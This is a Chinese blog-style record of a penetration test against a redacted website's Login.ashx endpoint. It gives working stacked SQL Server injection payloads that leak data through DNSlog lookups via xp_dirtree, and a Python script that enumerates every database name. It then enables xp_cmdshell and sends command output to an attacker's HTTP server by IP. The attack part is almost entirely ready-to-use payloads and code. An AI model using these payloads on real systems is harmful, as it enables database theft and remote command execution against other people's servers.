[记录]一次sql延时注入之dnslog的利用

上周我们团队对某网站进行安全测试的时候发现这样一个注入点:

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';WAITFOR DELAY '0:0:5'--

这个字符注入点经过测试,只支持bool型注入和延时注入(可多行sql语句执行)。

这两种注入类型的缺点就是速度慢,效率低,一个是基于对错判断数据,一个是基于访问时间来判断数据,dnslog的出现就正好弥补了这样的缺陷。

说到这里我不得不吐槽一下,cloudeye作为一个dnslog平台已经关门大吉了却不把web服务器关掉,让我误以为是我操作不当导致收不到日志,后来用的另外一个dnslog平台。。

回到正题,经过推测这个注入点是sql server数据库的,sql server如果要进行dns解析的话用master..xp_dirtree这个存储过程,最终构造出如下语句:

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

解释一下整个语句的意思

DECLARE @host varchar(1024); 

这条语句的意思是注册一个名为@host的变量,类型为varchar

SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.dnslog.link'; 

这条语句的意思是获取db_name()然后转换成varchar类型,然后吧获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。

打个比方,如果db_name()返回值是abc 那么拼接后就是@host=abc.xxxxxxxxx.dnslog.link

EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

这条语句的意思就是咧远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了。

如此以来便得到了db_name()的值。

但是这里有个坑,不能获取@@version,我想了一下 可能是因为@@version中有空格换行等字符,导致拼接出来的子域名不符合规范,所以无法完成解析。后来我准备吧@@version hex一下再拼接进域名里面。。。但是我发现。。sql server居然没有hex()函数???

后来我一通百度之后也没找到sql server把字符串转为16进制的函数。。这就很尴尬了,有找到的麻烦告诉我下。

接下来,我写了个脚本,吧所有的裤名跑了出来。

import urllib2

for i in range(50):
    if i==0:
        continue
    url = '''http://xxxx.xxxx.com.cn/Login.ashx?Id=123%27;DECLARE%20@host%20varchar(1024);SELECT%20@host=CONVERT(varchar(1048),(select%20name%20from%20master.dbo.sysdatabases%20where%20dbid=1%20))%2b%27.xxxxxxxx.dnslog.link%27;EXEC(%27master..xp_dirtree%20%22\\\\%27%2b@host%2b%27\\foobar$%22%27);--'''
    url = url.replace("dbid=1","dbid="+str(i))
    req = urllib2.Request(url)
    print req.get_full_url()
    print urllib2.urlopen(req).read()

dns日志如下

到这步其实已经可以dump数据库了,但是我发现还可以继续渗透。

经过测试,我发现是sa权限,于是我开启了xp_cmdshell组件进行命令执行

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell 'ping cmdtest.xxxxxxxx.dnslog.link'--

ping一下,看看dns日志里会不会出现cmdtest.xxxxxxxx.dnslog.link域名的日志,经过查看确实已经收到,由于日志清空了一次 当时没截图,就不复现再截图了。

然后有个问题,就是命令回显的问题。

传统的做法的创建一个两个字段的表,然后吧每次执行cmd 的结果都插入到表里,要查看的时候再取出来。

于是我

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';create table tmptmp(tmp1 varchar(1024),tmp2 varchar(1024));

但是我发现表却创建不成功,不知道是何原因。这里有另外一个过于麻烦的思路,那就是把所有的表结构都跑出来,然后找一个能插入cmd结果的表,将返回结果插入到那张表里。

但是凡事都要找最优解。。于是我想了另一个办法:

将一个命令的执行结果作为另一个命令的参数,就比如,先执行whoami拿到结果,然后ping whoami的结果.xxxxxxxx.dnslog.link 这样就可以把结果放到子域名里通过dns日志拿到了。。

可是我找了半天没找到相关的语法,后来基友这么一条语句搞定了:

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "for /F %s in ('dir') do start http://123.123.123.123/?%s"--

搭建http服务器看web日志,利用for设置变量存储命令执行结果 start进行http访问并带上结果

成功收到结果,这儿我想 用ping命令进行拼接然后读取dns日志应该也是没问题的,不过应该没走http好使

由于start会启动浏览器,所以要关闭一下浏览器

http://xxxx.xxxx.com.cn/Login.ashx?Id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--

至此结束

编辑于 2016-11-13